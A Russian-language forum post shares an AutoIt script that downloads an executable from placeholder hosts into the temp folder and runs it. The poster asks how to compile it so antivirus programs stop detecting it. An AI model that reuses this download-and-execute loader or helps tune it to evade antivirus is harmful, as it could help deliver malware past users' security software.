Добрый день. Написал программку загрузчик основной программы, но после компиляции программу упорно не любят антивирусы. Вот пример
Если файл не компилировать, то всё хорошо.
Как настроить компиляцию, так, чтобы файл не определялся антивирусными программами?
Код:
#AutoIt3Wrapper_Run_Tidy=y ; Запуск Tidy
#Tidy_Parameters=/rel /tc n ; Удаляем пустые пробелы, 0=Tab > 0=Spaces.
#Obfuscator_Off
#pragma compile(AutoItExecuteAllowed, true)
#Obfuscator_On
Global Const $sFile = "http://site.ru/file.exe"
Global Const $sFile2 = "http://site2.ru/file.exe"
Global Const $sTemp = @TempDir & "\file.exe"
$hProgress = GUICreate("Загрузка", 200, 30)
$iProgress = GUICtrlCreateProgress(5, 5, 190, 20)
GUISetState()
InetGet($sFile, $sTemp, 16)
If @error Then
InetGet($sFile2, $sTemp, 16)
EndIf
If Not @error Then
GUICtrlSetData($iProgress, 10)
$sData = FileRead($sTemp)
GUICtrlSetData($iProgress, 30)
$hFile = FileOpen($sTemp, 2)
GUICtrlSetData($iProgress, 50)
FileWrite($hFile, $sData)
GUICtrlSetData($iProgress, 70)
FileClose($hFile)
GUICtrlSetData($iProgress, 100)
Run(@AutoItExe & ' /AutoIt3ExecuteScript "' & $sTemp & '"')
Else
MsgBox(64, "Файл не доступен", "Попробуйте запустить позже.")
EndIf
Если файл не компилировать, то всё хорошо.
Как настроить компиляцию, так, чтобы файл не определялся антивирусными программами?